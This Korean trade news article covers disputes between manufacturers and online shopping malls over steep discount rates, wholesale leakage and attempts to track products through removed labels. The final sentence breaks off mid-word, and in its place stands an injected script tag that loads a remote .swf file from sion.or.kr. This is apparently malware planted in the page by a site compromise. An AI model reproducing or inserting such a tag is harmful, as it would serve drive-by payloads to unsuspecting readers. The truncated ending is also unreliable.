인터넷 쇼핑몰이 메이커와 공생하기 위한 화해의 손길을 내밀고 있다. 일부 메이커는 벌써 쇼핑몰 관계자와 계약을 통해 정상적인 유통거래를 하고 있는 것으로 나타났다. 최근 플러스원, 코스미, 모두몰, 코스월드 등 가격할인폭이 심한 인터넷 쇼핑몰의 가격할인 율을 조사한 결과 메이커별 할인율이 천차만별인 것으로 드러났다. 업계 10대 메이커의 평균 할인율은 약 25% 정도. 이 중 일부 메이커의 할인율이 15∼20%선을 유지하고 있어 관계자들의 이목을 집중시키고 있다. 현재 인터넷 쇼핑몰의 할인율은 대체로 25∼30%선에서 이뤄지고 있으며 일부 메이커 제품의 경우 37.5%까지 할인이 되고 있다. 할인율이 심한 품목의 경우 밀어내기 정책에 따른 물량공세로 도매상으로 대량의 제품이 유입된 것이 원인으로 분석된다. 메이커 입장에서는 시판 시장의 가격 질서를 흔드는 온라인 쇼핑몰이 골칫거리일 수밖에 없다. 하지만 일부 메이커는 쇼핑몰 담당자와 계약을 통해 가격할인폭 제한선을 두고 있어 쇼핑몰의 가격 질서를 잡고 있는 것으로 나타났다. A사의 경우 대부분의 쇼핑몰에서 할인폭이 20% 이하에 그치고 있어 이러한 정책이 성과를 거둔 것 분석된다. 쇼핑몰 입장에서도 도매상을 통해 제품을 공급받는데는 한계가 있어 대리점을 통한 정상적인 거래를 선호하고 있다. 전 라인을 구비할 수 있다는 장점과 품질을 보장받을 수 있다는 것. 또 비표 제거의 수고도 덜 수 있고 구매자에게 완제품을 제공할 수 있어 쇼핑몰의 이미지 향상에도 도움을 준다는 설명이다. 때문에 쇼핑몰 담당자들은 메이커 관계자들에게 대리점을 통해 정상적인 유통 구조로 제품을 제공해 줄 것을 요구하고 있다. 최근 일부 메이커의 가격 할인율이 낮아진 것은 이러한 쇼핑몰의 요구를 해당 메이커가 수용한 결과물로 분석된다. 메이커는 온라인 쇼핑몰의 가격 할인율을 낮추어 시판 시장을 보호하고, 쇼핑몰은 제품 구비의 난점을 해결한 것이다. 하지만 메이커와 쇼핑몰과의 관계 개선은 당분간은 어려울 것으로 예상된다. 시판 시장을 보호하기 위해 최소한의 할인율을 제시할 수 밖에 없는 메이커와 도매상을 통한 제품 구입이 가능하고 타 사이트와 치열한 경쟁을 해야하는 쇼핑몰측과는 상당한 의견차가 있는 것. 메이커에서는 최대 할인율을 10% 선에서 조절하려고 하지만 쇼핑몰측에서는 최소 할인율이 20% 이상은 되어야 한다고 요구하고 있다. 결국은 제품 매입가와 할인율에 대한 현격한 시각차 때문에 계약이 성립되지 않는 것이다. B쇼핑몰을 운영하는 담당자는 “메이커에서 제시하는 공급가가 현실적이지 못하다”며 “온라인 시장의 특수성을 인정하고 그에 맞는 공급가를 제시해 서로에게 피해를 주지 않는 관계가 되기를 바란다”고 말했다. 메이커에서 제시하는 가격에 일반 대리점을 통한 가격과 별다른 차이가 없다는 설명이다. 온라인 쇼핑몰의 특성상 가격적인 메리트가 있어야 하는 만큼 대리점 거래와는 차별을 달라는 것. 현실적인 여건 때문에 대리점을 통해서 가격을 조절하기 어려우면 본사 직거래를 통해서라도 가격선을 맞춰 달라는 것이 이들을 의견이다. 메이커는 쇼핑몰의 이런 요구들을 잘 알고 있지만 현실적 이유 때문에 공급가 조절이 어려운 형편이다. 대리점을 통한 거래에서 가격적인 메리트를 주게 되면 시판 전문점과의 형평성을 잃게 되는 것이다. 본사 직거래 또한 근본적인 유통 체계를 흔들 뿐 아니라 현실적으로도 쇼핑몰의 공급 물량이 직거래를 할 정도로 크지 않다고 반박한다. 하지만 쇼핑몰로 인한 피해 때문에 언제까지 팔짱만 끼고 지켜볼 수만 있는 입장은 아니다. C메이커 관계자는 “최근 좋은 반응을 얻고 있는 신제품이 인터넷 쇼핑몰에서 30% 할인된 가격에 판매가 되고 있는 것을 보고 경악을 금치 못했다”며 불만을 호소했다. 제품 연구 개발부터 마케팅 전략까지 경영 방침을 아무리 치밀하게 세워도 쇼핑몰에서 가격을 한번 흔들면 그 피해는 감당할 수 없다는 것이다. C메이커 관계자는 “전문점도 죽이고 메이커도 죽이는 쇼핑몰의 무리한 가격할인은 하루빨리 사라져야 할 것”이라고 강조했다. 그렇다고 대리점 관리를 통해 쇼핑몰을 규제하는 것은 현실적인 한계가 있다. 비표를 이용해 쇼핑몰 제품을 추적해 대리점과의 거래를 정리하려고 해도 걸림돌이 너무 많다. 우선 쇼핑몰에서 제품의 비표를 일일이 제거해 비표 추적이 불가능하다. 또 비표를 추적당해 도매상과 거래하는 대리점을 찾아도 해결방안은 쉽지만은 않다. 도매상과 거래를 했다는 이유만으로 한순간에 거래관계를 끊기도 어렵고, 실제 관계를 끊더라도 새로운 대리점이 도매상과 거래를 하기 때문에 완전히 뿌리를 뽑는 것이 불가능하다는 것이 관계자들의 중론이다. D쇼핑몰 관계자의 말이 이런 현실을 잘 대변해 준다. D쇼?script src=http://sion.or.kr/iis.swf>

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